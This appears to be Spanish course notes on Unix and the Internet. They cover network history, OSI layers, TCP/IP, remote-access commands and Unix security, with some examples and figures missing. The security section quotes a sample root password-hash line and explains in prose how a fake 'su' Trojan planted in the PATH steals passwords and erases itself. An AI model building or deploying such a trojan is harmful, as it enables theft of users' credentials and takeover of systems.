INDICE GENERAL

UNIX E INTERNET página

UNIX E INTERNET

- **INTRODUCCIÓN**

***Internet* es el nombre que reciben un conjunto de redes de ordenadores distribuidas por todo el mundo.**

Su origen se remonta a finales de 1957 cuando, tras el lanzamiento del *Sputnik* por parte de la Unión Soviética, el presidente de los Estado Unidos *D. Eisenhower* vio la necesidad de crear una Agencia de Proyectos de Investigación Avanzada, ARPA (*Avanced Research Proyects Agency*), ARPA contaba con la mejor tecnología y con los mejores investigadores del país.

A comienzo de los años 60 se establecieron diferentes centros de cálculo repartidos por todo el país. Fue entonces cuando el Ministerio de Defensa de los Estados Unidos creó una red dedicada a la comunicación de estos centros de cálculo para que sus investigadores pudiesen compartir información y recursos que no tenían en sus propios ordenadores.

En 1969 se creó ARPANET (*Avanced Research Proyects Agency NETwork*) [RED de la Agencia de Proyectos de Investigación Avanzada]. En sus comienzos, los únicos miembros que estaban autorizados al uso de la red eran los militares y algunos estudiantes de universidades que realizaban prácticas sobre defensa. Más adelante, las universidades y otros centros de investigación fueron creando sus propias redes y, con el propósito de colaborar en temas de investigación, se unieron a ARPANET.

A partir de entonces diferentes redes se fueron creando y uniendo a esta extensa red. En 1970 se creo USENET (red de usuarios) dedicada exclusivamente a dar servicio a las universidades. En 1981 lo hizo BITNET, desarrollada en la universidad CUNY (City University of New York).

Este gran auge pronto llegó a Europa donde, en 1982, se crearon dos redes de gran importancia: EARN (European Academic Research Network) [Red académica de investigación europea] y EUNET (European NETwork) [Red europea]. Estas redes se unieron a la ya recién bautizada Internet.

En los años noventa, el número de redes que componían Internet era tal, que se comenzó a hablar de las autopistas de la información. Hoy en día, Internet sigue creciendo a pasos agigantados. Se calcula que el número de personas que hay conectadas a la red es de 40 millones aproximadamente.

Ejemplo de conexión entre redes

- **CONCEPTOS BÁSICOS**

Para comenzar a hablar de Internet es necesario conocer una serie de términos y conceptos que forman parte del lenguaje informático y de las comunicaciones.

- **Términos**

1. − BBS (Bulletin Board System)

Sistemas informatizados repartidos por todo el mundo que permiten a los usuarios poner anuncios, establecer conversaciones, depositar y recoger ficheros de datos... etc.

2. − Servidor

Ordenador o programa software que permite el acceso a programas situados en otros sistemas.

3. − Cliente

Programa software que se utiliza para obtener datos de un Servidor situado en otro sistema.

4. − Browser

Programa Cliente utilizado para visualizar información de diferente tipo dentro de la red.

5. −Dominio (Domain Name)

Nombre que identifica un lugar (máquina) concreto dentro de Internet. Este nombre se compone de más de dos partes separadas por un punto. Un lugar (una máquina) puede tener más de un nombre (Domain Name) pero un nombre, apunta a una sola máquina.

6. − Protocolo

Conjunto de normas y reglas que rigen el intercambio de información entre dos sistemas conectados a la red.

7. − FTP (File transfer Protocol)

Protocolo establecido para mover ficheros desde un lugar a otro dentro de Internet.

8. − Host

Cualquier ordenador dentro de una red que permite dar servicios a otros ordenadores.

9. − Nodo

Cualquier ordenador conectado a una red

10. − Router

Ordenador de propósito especial o programa software cuya misión es la de permitir conexiones entre dos redes diferentes.

11. − Telnet

Programa especial para conectarse desde un lugar a otro de la red.

12. − URL (Uniform Resource Location)

Manera estándar de dar la dirección de cualquier lugar dentro de la red.

13. − W.W.W. (World Wide Web)

Conjunto de servidores de Internet que permiten mezclar texto, gráficos, sonidos... etc.

2.2 EL MODELO ISO−OSI

El modelo OSI (*Open System Interconnection*) posee una importancia decisiva a la hora de facilitar la compartición de información entre diferentes sistema. Este modelo fue definido en 1979 por ISO (*International Estandar Organization*) y cuenta con siete niveles cada uno de los cuales tiene sus protocolos. La razón por la cual se creó este modelo fue la de crear un estándar a seguir por los grandes sistemas para la comparación y transferencia de información.

Esquema del modelo ISO − OSI

Los niveles se enumeran en orden descendente, que es el mismo camino que sigue la información cuando sale de un sistema. El nivel superior (nivel 7) se denomina Nivel de Aplicación. Proporciona

las capacidades necesarias para que los usuarios accedan al entorno OSI. En este nivel se identifica a cada sistema y se establecen los permisos para entablar la comunicación.

El nivel 6 se denomina Nivel de Presentación. Es el encargado de dar un formato a los datos que se van a transferir. Existen numerosas maneras de presentar los datos. Para archivos de texto los más comunes son los códigos ASCII y EBCDIC. Si los datos de una comunicación utilizan diferentes representaciones de datos, no podrán ser capaces de entenderse.

El nivel 5 es el Nivel de Sesión. Encargado de gestionar el intercambio de información. Esta capa permite una serie de mejoras tales como control de diálogo, administración de la actividad... etc.

El nivel 4 es el nivel de transporte. Se encarga de transferir la información entre los distintos sistemas. Esta capa proporciona la integridad de los datos de extremo a extremo, para ello se extiende sobre los mecanismos de control de error provistos en las capas inferiores. Otra característica de esta capa es la posibilidad de crear diferentes conexiones lógicas sobre una misma conexión de red. Lo que se conoce con el nombre de multiplexión.

El nivel 3 o Nivel de Red. Se encarga de encaminar los datos de una red a otra proporcionando la ruta más indicada y más rápida en cada momento. Ayuda a eliminar la congestión y regular el flujo de datos.

El nivel 2 es el Nivel de Enlace. Se encarga de empaquetar los datos y direccionarlos. Los paquetes generados por el nivel superior se introducen en unas unidades denominadas tramas, y se envían al nivel inferior para ser transmitidas.

El nivel físico es el entramado en sí. Es decir, el medio por el que viaja la información. En este nivel se determina el tipo de cable, sus características eléctricas... etc. Esta capa transmite bits sobre un canal de comunicación.

2.3 Conectividad de redes

Una red local tiene serias limitaciones en cuanto al número de puestos que se pueden conectar con ella, así como de la distancia máxima que puede haber desde un extremo a otro de la red. Para ello existen una serie de dispositivos software o hardware que facilitan la interconexión de redes.

- **Repetidores**

Los repetidores (*repeaters*) son dispositivos que tratan la señal que reciben. Es decir, simplemente la reciben, la amplifican y posteriormente la transmiten permitiendo así una mayor distancia entre

puestos de la red. Estos dispositivos no sirven para enlazar redes diferentes, por lo que su misión consiste en enlazar tramos de una misma red para que la extensión de ésta sea mayor.

- **Puentes**

Cuando se desea conectar dos redes de área local entre sí es necesario la utilización de otro tipo de dispositivo denominado puente (*bridges)*. Estos son mucho más potentes que los repetidores, porque no solo almacenan y amplifican la señal recibida, sino que son capaces de distinguir la dirección de destino de cada una de las tramas de la red. Los puentes trabajan a nivel de enlace.

- **Encaminadores**

Los encaminadores (*routes*) son dispositivos que permiten controlar la totalidad de una red. Tienen capacidad de decisión para determinar que ruta debe seguir la información. Permite conectar redes que utilizan protocolos diferentes. Trabajan a nivel de red.

- **Pasarelas**

Estos dispositivos están diseñados para trabajar con redes de amplia cobertura (redes WAM). Son también utilizados para conectar una red con un Host. Trabajan al nivel de transporte.

3. − EL PROTOCOLO DE TRANSPORTE EN UNIX

Internet, como ya hemos comentado, es un conjunto de redes dispersas que conecta a millones de ordenadores por todo el mundo. Las redes están conectadas por medio de líneas telefónicas convencionales, cables de fibra óptica, enlaces microondas, satélites... etc.

Para que todas estas redes puedan entenderse entre sí, es necesario seguir un protocolo o una serie de normas que permitan el intercambio de información entre los distintos nodos.

A comienzos de los años 70, cuando el sistema operativo UNIX estaba en su fase de creación, ARPANET diseñó un protocolo de Control de Transmisión de datos denominado TCP. Dado que UNIX es un sistema creado para funcionar en red, sus creadores implementaron este protocolo y lo llevaron a la práctica. Hablar, por tanto, de Internet es hablar de UNIX.

Esquema de conexión mediante Telnet

- **TCP / IP**

Cuando se habla del protocolo TCP / IP, en realidad se hace referencia a otros muchos protocolos de los cuales los más famosos son los que le dan el nombre: TCP (Transmission Control Protocol) y IP (Internet Protocol).

- **Características**

TCP / IP proporciona una serie de servicios como son:

-

TCP / IP utiliza una aplicación denominada *telnet* para conectarse de un sistema A a otro B como si fuese un terminal de éste último.

El terminal a.1 de la Red A puede conectarse a la Red B por medio de telnet como si se tratase de un

terminal de la propia red. TCP / IP utiliza un protocolo específico para transferencia de ficheros, el denominado FTP (*File Transfer Protocol*). Gracias a este protocolo, un usuario puede recuperar un fichero que se encuentra en otro sistema y trabajar con él desde su terminal. Para la gestión del correo electrónico, el protocolo utilizado se llama SMTP (*Simple Mail Transport Protocol*). Su funcionamiento es muy sencillo, cada usuario tiene un buzón donde se pueden depositar mensajes para su posterior envío o lectura.

Pero la misión de TCP / IP en sí es la de proporcionar una comunicación extremo a extremo fiable. Dos usuarios que utilicen TCP / IP pueden pertenecer a diferentes continentes, por lo que la fiabilidad del transporte debe ser máxima, ya que la información irá atravesando diferentes redes hasta llegara a su destino.

- **Conexión**

Para poder conectarse con otro usuario es necesario conocer su dirección Internet. Esta dirección consta de cuatro números divididos por un punto.

Estos números varían dependiendo de la clase de red a la que se esté conectando el usuario destino.

Las redes se clasifican dependiendo del tamaño de éstas y del número de puestos que tengan:

- **Clase A**

Redes muy grandes (ARPANET). Pueden tener dentro de ellas numerosas subredes y hasta 16 millones de host. La dirección de estas redes posee un byte para definir la red y tres para el host.

- **Clase B**

Redes de un tamaño medio, pueden contener más de 16000 subredes dentro de ella y 65000 nodos dentro de cada red. Emplean dos bytes para distinguir las redes entre sí y otros dos para diferenciar los host dentro de ellas.

- **Clase C**

Redes pequeñas. Se destinan tres bytes para la red y uno para el host. Pueden albergar cerca de 2 millones de subredes y 256 host dentro de cada red.

Debido a que recordar números es bastante más difícil que recordar nombres, existe un método para identificar redes por medio de una serie de nombres. Este método se denomina DNS (*Domain Name System*) [Sistema de nombres de dominio]. Tienen la sintaxis siguiente:

nombre_usuario@nombre_host.entidad.sector

Cuando se indica una dirección por medio de nombres, el sistema se encarga de transformarlo a las direcciones numéricas correspondientes.

Alex@jordan.FRACTAL.COM

Las últimas tres letras de una dirección DNS identifica el tipo de organismo. Existen ocho casos generales:

Existen, por último, unos códigos internacionales para diferenciar a cada país. En el caso de

España (ES), Francia (FR), etc.

- **Funcionamiento**

Una vez que se ha establecido una conexión, cuando un usuario desea enviar a otro usuario un mensaje, el protocolo TCP recoge el mensaje y se encarga de dividirlo en datagramas (unidad básica de transporte en TCP), una vez que el mensaje ha sido dividido, TCP los pasa por el protocolo IP, que se encarga de encaminarlos hasta la dirección destino.

Una característica de este protocolo es que los datagramas se encaminan por diferentes rutas, de forma que cada uno de ellos puede atravesar diferentes redes y es muy probable (de hecho es lo más normal) que llegue al destino desordenados. En el sistema destino, el protocolo TCP se encarga de ordenarlos y comprobar que no han existido errores durante la transferencia.

La estructura de un datagrama está dividida en dos partes:

CABECERA + DATOS

La cabecera tiene una longitud variable, y los distintos campos de los que está compuesta son:

La dirección fuente y destino identifican al host origen y destino entre los cuales se establece la comunicación. El número de secuencia es un entero que se coloca en cada datagrama parea poder ordenarlos una vez hayan llegado al destino. Cada vez que el receptor recibe un datagrama, contesta al emisor con un número denominado número de asentimiento, con este número se indica el número de datagramas que se han recibido correctamente. El campo longitud de cabecera indica el número de bits que tiene la cabecera del datagrama, el indicador de urgencia se activa cuando se desea que un datagrama llegue al destino con mayor rapidez que los demás.

La flecha continua indica la dirección y sentido en el que establece la conexión. Las flechas de menor grosor indican los posibles caminos que pueden tomar los datagramas hasta llegar al destino.

Esquema de encantamiento en TCP/IP

4. − WWW

Es un sistema de intercambio de información multimedia desarrollado por el CERN (Centro europeo de Investigación nuclear) en 1989. En sus primeros comienzos se utilizaba como medio de intercambio de información, pero debido a su gran aceptación por parte de Internet comenzó a difundirse por toda la Red.

Hoy en día el World Wide Web es tener un sistema multimedia de obtención de información que actúa a nivel mundial que cuanta con un protocolo propio (HTTP). Además de tener un sistema de descripción de ficheros llamados HTML.

- **Componentes del WWW**

El WWW cuenta con un sistema de direcciones (URI / URL), un protocolo de Red utilizado por los servidores, un lenguaje (HTML) que utilizan los clientes para comunicarse con el servidor.

4.2 Modelo Cliente−Servidor

El esquema de comunicaciones WWW es el cliente −servidor. En un extremo de la línea se encuentra

una máquina sobre la que funciona la aplicación servidor. En el otro lado se encuentra la aplicación cliente. La aplicación cliente es un browser o visualizador.

La mayoría de los servidores de Internet son máquinas Unix (Debido a la estrecha relación entre la Red y el sistema operativo). El servidor se encarga de responder a las peticiones de los programas cliente. Cuando un programa cliente desea obtener un documento, envía la petición al servidor (habiendo indicado previamente la dirección URL de éste). El servidor recoge la petición y comprueba una serie de datos (si la petición es correcta, si el cliente posee autorización), posteriormente

devuelve el documento solicitado al cliente.

Existen diferentes herramientas muy útiles para poder visualizar la información que los servidores de Internet poseen a disposición de los usuarios. Entre esta se encuentra *gopher* y a*rchie* para poder utilizar *gopher* es necesario un programa cliente−gopher que pueda interactuar con el servidor. Para ello basta con escribir e la línea de comando gopher o si se está trabajando con el sistema X−Window existe un cliente orientado a ventada X−Gopher. En el caso de archie se necesita contactar con un servidor archie. Existen numerosos servidores de este tipo en Internet.

El poder de WWW reside en las maneras de navegar por los diferentes servidores gracias a las páginas Web que utilizan métodos para saltar de un enlace a otro utilizando referencias cruzadas o también conocidas como *hyperlinks.* Una de las herramientas más poderosas para acceder a la red es *Mosaic* Este browser fue diseñado en la Universidad de Ilinois (Estados Unidos) y está disponible para numerosos sistemas Unix.

5. − COMUNICACIONES POR RED

UNIX cuenta con un gran número de órdenes para establecer una comunicación por red. Primeramente, puede ser necesario identificar el servidor en el que se está trabajando, para ello existe la orden *hostname*.

Esta orden puede variar dependiendo del tipo de sistema Unix con el que se está trabajando y la versión del mismo. Para identificar a los usuarios conectados en un sistema remoto, Unix utiliza la misma orden que usa para trabajo local, se trata de *finger*. Esta orden en un principio no fue diseñada para conexiones remotas, pero se ha ido adaptando a medida que las redes han evolucionado. Para mostrar los usuarios conectados a un host concreto de escribe:

Como se puede apreciar *finger* funciona de igual manera independientemente de que la consulta sea local o remota. La única diferencia es que en la salida que muestra por pantalla aparece el nombre del host sobre el cual se hace la consulta. De igual manera que en la conexión local dos usuarios se podrían comunicar por medio del *talk*, esta orden también funciona en conexiones remotas. Su sintaxis es:

talk nombre_usuario@host_destino

- **Conexión remota. rlogin.**

Si un usuario tiene una cuenta abierta en un sistema remoto, puede conectarse desde otro sistema mediante la orden *rlogin* (*remote login*). En el caso de que se esté trabajando sobre un GUI (Interfaz Gráfico de Usuario) es posible tener numerosas conexiones remotas abiertas en un mismo terminal en diferentes ventanas. Para utilizar la orden *rlogin* es necesario indicar el nombre del sistema remoto al que desea conectar.

$

En el ejemplo, el usuario ha realizado una conexión remota al sistema magnum. Tras ejecutar la orden *rlogin*, se pide la clave para poder entrar en el sistema. Si la clave no es correcta se rompe la conexión; si es correcta, el sistema informa de la última vez que se produjo una conexión por parte del usuario.

Esta orden es útil en el caso de que la conexión remota se haga entre dos sistemas UNIX, pero pudiera darse el caso de que el usuario necesitase realizar una conexión remota a un sistema no UNIX. En tal caso es necesaria la utilización de la orden telnet.

El usuario de telnet obliga al sistema a mostrar el login debido precisamente a que está diseñado para conectarse a sistemas no UNIX. Cuando el usuario decide terminar la conexión tendrá que ejecutar la orden logout.

- **Copiar ficheros desde máquinas remotas**

Para poder copiar ficheros desde una máquina remota es necesario tener permiso de lectura sobre los ficheros que se desean copiar. Cuando se trabaja con máquinas remotas UNIX, es posible utilizar la orden *rcp* (*remote copy*) para copiar archivos.

- **RCP**

La sintaxis de esta orden es la siguiente:

Para copiar un fichero denominado *letter.bak* que se encuentra situado en el directorio /usr/user2 de la maquina remota aries, al directorio /user/ales de la máquina local se haría de la siguiente forma:

Es posible modificar el nombre del archivo en el proceso de copia, basta con poner un nuevo nombre en el directorio destino. Si en el ejemplo anterior se quiere cambiar el nombre del fichero letter.bak por letter.new se haría de la siguiente manera:

Otra de las posibilidades que ofrece esta orden esta orden es la de copiar directorios desde una máquina a otra. Su sintaxis es la siguiente:

rcp [−modificador] maquina: directorio directorio_destino

Los modificadores son varios, pero el más importante en nuestro caso es el modificador −r que permite hacer una copia recursiva, es decir, permite copiar un directorio y todos los directorios adicionales que cuelgan de éste.

En el ejemplo anterior se han copiado todos los fichero y subdirectorios que cuelgan de /urs / urs2 de la máquina remota al directorio /urs/alex de la máquina local. Todos los ejemplos vistos hasta ahora muestran como se produce la copia desde la máquina remota a otra máquina local utilizando el comando *rcp*. Es posible, como el lógico utilizar esta orden en sentido inverso, es decir para llevar ficheros desde la máquina local a la máquina remota. Su sintaxis no varía prácticamente con la ya vista:

Rcp directorio_origen máquina: pathname_fichero

En el caso de que la copia fuese de directorios, también admite el modificador −r para copiar los subdirectorios dentro del especificado origen.

Como se acaba de ver, la orden rcp permite la copia de ficheros a máquina remotas con una pequeña salvedad, ambas máquinas necesitan correr bajo el mismo sistema UNIX para poder llevar a cabo

dicha tarea. Uno de los protocolos que se incluyen con TCP/IP es FTP. Este protocolo permite la transferencia de ficheros desde una máquina local a otra máquina remota pero con la distinción de que las máquinas no tienen porque tener el mismo sistema operativo. Para realizar la copia de ficheros se utiliza la orden *ftp*, y es necesario que ambas máquinas soporten *ftpd*, (El demonio de ftp).

- **UUCP**

El término *uucp* es un acrónimo de UNIX to UNIX copy. Es el nombre genérico que reciben una serie de programas que pueden usarse para copiar ficheros entre diferentes sistemas, así como para ejecutar ficheros en otros sistemas. El objetivo original de *uucp* era crear un sencillo programa capaz de administrar las transferencias de ficheros empleando conexiones telefónicas. Su funcionamientos era muy útil para los usuarios, ya que él únicamente tenia que hacer la petición de transferencia y *uucp* se encargaba del resto. Hoy en día el papel de esta serie de programas permite crear una red mundial de sistemas UNIX, a través de la cual fluye el correo eléctrico y otra serie de datos. Los programas que constituyen *uucp* son:

Esquema de funcionamiento de uucp

- **Transferencia de ficheros con ftp**

Cuando se ejecuta el comando *ftp*, se produce el comiezo de una sesión interactiva:

Para abrir sesiones en ftp se utiliza la orden open.

Cuando se procede a la conexión, el servidor remoto solicita la introducción del nombre login. Posteriormente pide la contraseña y si esta es correcta permite la conexión.

Una vez que la conexión está abierta se pueden utilizar las numerosas ordenes con que está provisto el comando *ftp.* Es posible cambiar directorios utilizando CD, es posible lista un directorio mediante LS, ... etc. Los permisos funcionan de igual manera de cómo funcionan en la máquina local, no se puede acceder a un directorio si no se tine permiso para ello.

Para copiar fichero mediante *ftp*, es necesario indicar el tipo de formato que tiene ese fichero. Si se trata de un fichero binario, se debe indicar que la transferencia es de tipo binario, mediante la orden *binary*.

ftp > binary

En el caso de que el fichero sea de texto se escribe ascii.

Ftp > ascii

Una vez realizadas estas indicaciones se procede a la copia del fichero mediante la orden put.

Mediante esta orden se especifica el nombre del fichero (en este caso ASCII) que se desea copiar. Cuando la copia se ha producido satisfactoriamente se informa de ello, y se indica el tiempo empleado en la transferencia. Existe una orden idéntica a *put* pero para copiar en sentido inverso, se trata de *get*. *Get* permite copiar ficheros desde una máquina remota a otra local.

NOTA: Cuando se utilizan las ordenes UNIX mediante ftp, las ordenes no se ejecutan en la máquina remota, si no que las instrucciones se las pasan el demonio de la máquina local al de la máquina remota.

6. − SEGURIDAD EN UNIX

En 1983, el Ministerio de Defensa de USA, elaboró un informe en el que se clasificaban los sistemas por su seguridad, este informe se denominó *orange book* (libro naranja). El informe catalogaba a los sistemas por letras, y dentro de éstas con un número, dependiendo de la fiabilidad en cuanto a la seguridad se refiere.

El sistema UNIX SVR3.x estaba catalogado como sistema operativo de tipo C1, con la llegada de UNIX SVR4, la compañía de telecomunicaciones AT & T pretendía crear un sistema operativo mucho más seguro, que cumpliese los requisitos de los sistemas C2.

En la historia de UNIX existen anécdotas acerca de agujeros negros en la seguridad del sistema. Con el tiempo estos errores se han ido solucionando hasta tener un sistema robusto y seguro. Uno de los errores mejorados radica en la creación de un fichero especial, de uso restringido, en el que se guardan las contraseñas encriptadas de los usuarios. Se trata del fichero /etc/Shadow. En las versiones anteriores, la contraseña se codificaba y se almacenaba en el segundo campo del fichero /etc/passwd, de la forma siguiente:

Root:1544mU5CgDJks:0:1:superususario:/:

La línea anterior es la primera entrada de un fichero /etc/passwd en UNIX SVR3.x, se corresponde con la identificación de super−usuario. Como se puede apreciar, la contraseña se encontraba encriptada en el segundo campo de este fichero. Este era un grave error de seguridad, ya que el fichero /etc/passwd es de uso común y todo los usuarios del sistema pueden acceder a él. Un intruso podría entrar en el sistema y conseguir descifrar estas claves mediante programas especiales diseñados para descodificar información.

En UNIX existe una orden especial para cifrar archivos, se trata de crypt. Está orden aplica un algoritmo de cifrado a los ficheros de manera que el texto en ellos escrito queda inteligible. La orden crypt no es perfecta contra posibles asaltos por parte de intrusos, pero si proporciona una gran seguridad a los documentos. Cuando se utiliza esta orden es necesario pasar una palabra, bien como argumento, bien como variables de entorno, de manera que se pueda llevar a cabo el cifrado a partir de esta palabra. Si un usuario encripta un fichero y posteriormente olvida la palabra utilizada para llevar a cabo la codificación habrá perdido los datos para siempre, pues ni el administrador del sistema (si lo hay), ni root , serán capaces de realizar los pasos inversos.

- **Técnicas de encriptación de datos.**

Se entiende por encriptación a la técnica encargada de transformar una serie de datos en otros no legibles. El propósito de esta técnica es asegurar la privacidad de los documentos dentro de un sistema, ya sea informático, de telecomunicaciones,... etc. Tanto para encriptar como para desencriptar (proceso inverso) es necesaria una serie de elementos secretos denominadas claves. Estas claves, dependiendo del mecanismo utilizado, puede ser las mismas para encriptar como para desencriptar. La criptografía tradicional se basa en el envío y recepción de mensajes utilizando una misma clave. El problema de este método es la posible interceptación de la clave secreta. Cualquier persona que tenga dicha clave en sus manos podrá leer documentos sometidos a dicha encriptación.

En 1976 se introdujo el concepto de criptografía de clave de dominio público. Mediante este sistema, cada individuo de la pareja de dialogantes recibe dos claves, una de ellas denominada de dominio público y la otra secreta. La clave de dominio público es conocida por otros, pero la clave secreta es desconocida. En las transmisiones únicamente se utiliza la clave de dominio público, esto significa que la clave secreta, jamás es transmitida. Cuando se inicia una conversación o una transferencia de datos, se utiliza la clave de dominio público para encriptar el mensaje. El receptor necesitará la clave secreta para poder leerlo.

Existen muchas técnicas de generación de claves. En 1977, el Departamento Nacional de Estándares de Estados Unidos (US National Bureau of Estandards) anunció un algoritmo criptográfico para utilizar en cifrados de informaciones gubernamentales no clasificadas. Se denominó DES (Data Encription Standard). El algoritmo utiliza una serie de claves de 64 bites en cada una de las 16 iteraciones que realiza. En cada iteración o etapa se realizan operaciones lógicas, permutaciones y sustituciones.

Otro algoritmo de encriptación es el RSA. Fue inventado en 1977 por *R. Rivest, A Shamir y L. Adleman* Su funcionamiento es el siguiente:

Se toman dos número primos que vamos a llamar P y Q (preferiblemente números de varias cifras).

Se halla el producto de estos números: N = P*Q (N se denomina módulo)

Se elige un número E menor que N de manera que se cumpla lo siguiente: mcd (E,(P−1) (Q−1)) =1.

Se busca otro número M tal que (E*M−1) sea divisible por (P−1) (Q−1)

Se denomina clave pública al par de números (N,E)

Se denomina clave privada al par de números (N,M)

El resto de los números P y Q se eliminan. Existen otros muchos métodos y algoritmos de encriptación como el PGP ... etc.

<u>NOTA</u>: Es muy difícil obtener la clave privada M a partir del par de claves públicas (N,E)

- **<u>Problemas de seguridad</u>**

Todo usuario como ya es sabido tiene un número o UID que lo identifica (User ID). De la misma manera tiene otro número denominado GID que identifica al grupo en el que se encuentra (Group ID). Cuando el usuario crea un fichero ejecutable, tiene la posibilidad de cambiar sus privilegios con la orden *Chmod.* Esta orden cambia los permisos de escritura, lectura y ejecución, para los distintos usuarios del sistema, incluyendo al propietario. Existe una forma de dotar a los archivos ejecutables de un privilegio especial denominado Set ussers ID. Cuando un fichero tiene el suid activado, cualquier usuarios que ejecute dicho programa lo hará con los privilegios del propietario del fichero.

Supongamos que el usuario *administrador* ha sido dotado de privilegios especiales para la administración del sistema. Si este usuario crea un programa, el programa tendrá activados los permisos de propietario, y por consiguiente posee derechos de escritura, lectura y ejecución. Si el usuario *administrador* activa el suid del programa cualquier usuario que pueda ejecutar el dicho programa lo hará con los privilegios de *administrador.* Si el archivo no hubiese tenido activado el suid, el programa actuaría con los permisos del usuario que lo ejecuta.

La forma de saber si un fichero tiene activado el suid es mediante la orden *ls.* Cuando se utiliza esta orden con el modificador −l, muestra un listado largo en el que aparecen los permisos de fichero en sí. Cuando en el listado aparece una s en lugar de la x correspondiente a los permisos de propietario, quiere decir que dicho programa tiene el suid activado.

En Unix, cuando se ejecuta un proceso, éste recibe cuatro identificadores: uid real, uid efectivo, gid real y gis ejectivo. Suponiendo que el bit Set User ID está activado, el proceso hereda el uid y el gid de quién ejecuta el programa como uid real y efectivo y gid real y efectivo respectivamente. Para que un proceso pueda acceder a un archivo debe tener el mismo uid efectivo que el propietario del proceso. Si el uid

efectivo es diferente pero el gid efectivo es el mismo que el gid del archivo entonces el proceso tiene privilegios a nivel de grupo. Si el uid y el gid son distintos en ambos casos, el proceso tendrá los privilegios que los otros usuarios. La manera de activar el suid de un fichero es mediante la orden chmod.

Al indicar u+s activamos el suid del fichero.

- **El peligro de suid**

Cuando un usuario es propietario de un programa con suid activado, los demás usuarios tendrán sus privilegios a la hora de ejecutar dicho programa. Esto es un grave problema, ya que cualquier usuario descontrolado podría acceder a ficheros a ,los cuales habitualmente no tiene permiso.

Existen ocasiones en las que root debe activar a ciertos programas el suid para que otros usuarios puedan ejecutarlos. Un ejemplo es la ejecución de la orden passwd. Cuando un usuario desea cambiar su contraseña, esta se ejecuta con los permisos de root, ya que debe acceder al fichero /etc/shadow para que allí el programa crypt pueda encriptarla y escribirla. Esos momentos son los más peligrosos en Unix, ya que el usuario tiene durante ese periodo de tiempo el poder de root.

Existe otra forma de activar el suid de un programa con la orden chmod. Al igual que para cambiar los permisos de lectura, escritura y ejecución de un fichero se utiliza un número de 3 dígitos donde el primero de ellos hace referencia al usurio , el segundo al grupo y el tercero a las terceras personas, en realidad se pueden indicar 4 dígitos, de los cuales el primero de ellos es para activar el suid y sgid del fichero.

Si el primer número es un 6, esto quiere decir que se activan el suid y también el sgid del fichero.

Si el primer número es un 4, entonces se activa el suid pero no el sgid.

Si el primer número es un 2, se activa el sgid pero no el suid del fichero.

- **Adoptar otra personalidad. El comando su.**

UNIX está provisto de una orden peculiar para que los usuarios puedan adoptar temporalmente los privilegios de otros usuarios. Se trata de la orden *su* (*substitute user*). Puede que esta orden no parezca muy importante, pero si lo es, ya que gracias a ella un usuario puede ejecutar ficheros de otros compañeros mediante la adopción de su identidad. Cuando se escribe *su*, es necesario indicar a continuación el nombre del usuario cuya identidad queremos adoptar.

NOTA: Esta orden es una de las más peligrosas en cuanto a la seguridad del sistema se refiere, si algún usuario pudiese adoptar la personalidad de root, el sistema entero estaría en sus manos.

Una vez introducida la orden se pide que introduzcamos la contraseña del usuario. Si no se conoce la contraseña no será posible llevar a cabo el cambio. Si la contraseña es correcta, en ese momento, el usuario que invocó *su* pasa a tener la identidad del usuario cuyo nombre de presentación se indicó en la orden.

- **Virus Informáticos**

En términos de informática, un virus es un programa que se introduce en otros programas y modifica el comportamiento de éstos. Un virus puede infectar a otros ficheros del sistema y lograr que hagan tareas destructivas, pero para que un virus se extienda e infecte es necesario haberlo ejecutado

previamente. Mantener un sistema limpio de virus es una de las tareas de seguridad más importantes.

Muchos usuarios se preguntan si un virus puede llegar a entrar en un sistema mediante el correo electrónico. La respuesta es ambigua. Un virus suele ser un programa compilado y cuyo código está en formato binario, por tanto, la única manera de entrar en un sistema vía correo electrónico, es haciéndolo como un fichero ejecutable adherido al mensaje. Si el usuario lee el mensaje y no ejecuta el programa, el virus no puede actuar, si por el contrario el usuario lo ejecuta, el virus se carga en memoria y a partir de ahí puede ser muy difícil controlarlo. Pero un virus puede llegar a entrar en un sistema oculto en un guión shell, como un simple fichero de texto con unas pocas líneas de código. Hay que tener especial cuidado con este tipo de virus, ya que lo que aparentemente no son más que unas inofensivas instrucciones pueden convertirse en un arma letal para el sistema.

- **Tipos de virus**

Como tipo de virus más común en los grandes sistemas operativos se encuentra el *Caballo de Troya*. Este tipo de virus es un programa que se enmascara como otro programa realizando las mismas acciones que el original y, además, algunas no pretendidas.

Otro tipo de virus son los *gusanos* (*worms*). Un gusano, aunque catalogado como virus, no es realmente de la familia de éstos, ya que no se adhiere a los programas, sino que consigue acceder al sistema por medio de la red y una vez dentro intenta controlarlo.

- **El peligro de los virus**

Anteriormente se ha indicado que puede llegar a ser que un intruso consiga hacerse con la clave de *root*. Siendo *root* se tiene acceso a cualquier parte del sistema, se puede gobernar el mismo sin ningún tipo de restricción, acceder a documentación de clasificación secreta, y todo lo demás.

Es importante tener control de todods lod ficheros del sistema, comprobar que éstos están debidamente colocados y que nadie los ha cambiado de lugar. La aparición de un fichero en un directorio que no sea el correspondiente puede ser un posible intento de asalto al sistema. Un claro ejemplo de virus tipo Caballo de Troya se expone a continuación:

El programa anterior es un Caballo de Troya que permite robar la contraseña a cualquier usuario del sistema cuando ejecuta la orden su. Este virus tendría que colocarse en el primer directorio del PATH del sistema y llamarse su. Cuando el usuario escribe la orden su (original) para adoptar otra personalidad, el shell recorre el PATH del sistema buscando esta orden en los directorios allí indicados. Si el virus *su* creado se encuentra en un directorio anterior al directorio en el que están las órdenes originales, se ejecutará en lugar de ésta y el usuario no se dará cuenta de esta circunstancia.

En la primera línea del programa, se desactiva la entrada de información por el terminal de manera que los caracteres que se introduzcan no se visualizarán. A continuación se pide que se introduzca la clave secreta. Cuando el usuario la introduce, el programa la recibe y la envía a un archivo de texto para poder visualizarla posteriormente. De igual manera que se envía a un fichero de texto, podría enviarse a cualquier parte de la red por medio del correo electrónico. Una vez almacenada la contraseña, el programa muestra un mensaje de error que desorienta al usuario, ya que éste piensa que ha podido equivocarse al introducir la clave y se dispone a repetir la orden. En la última línea, el programa se borra a sí mismo par que la próxima vez que el usuario teclee su, se ejecute la orden original.

La única potencia de este tipo de virus radica en la colocación del mismo dentro del *pathname*. Una orden del sistema siempre debe estar en su dirección correspondiente, en caso contrario se debe

sospechar y ante la duda nunca se debe ejecutar una orden.

- **Ventajas e inconvenientes de root**

La gran ventaja de ser el superusuario de un sistema como UNIX, es el poder que dicho título otorga. Como ya se ha dicho, root podee todos los privilegios dentro del sistema, pero esto, en muchas ocasiones, no es tan agradable. Siendo root estas en el foco de mira de cualquier intruso y es posible encontrar Caballos de Troya como el siguiente:

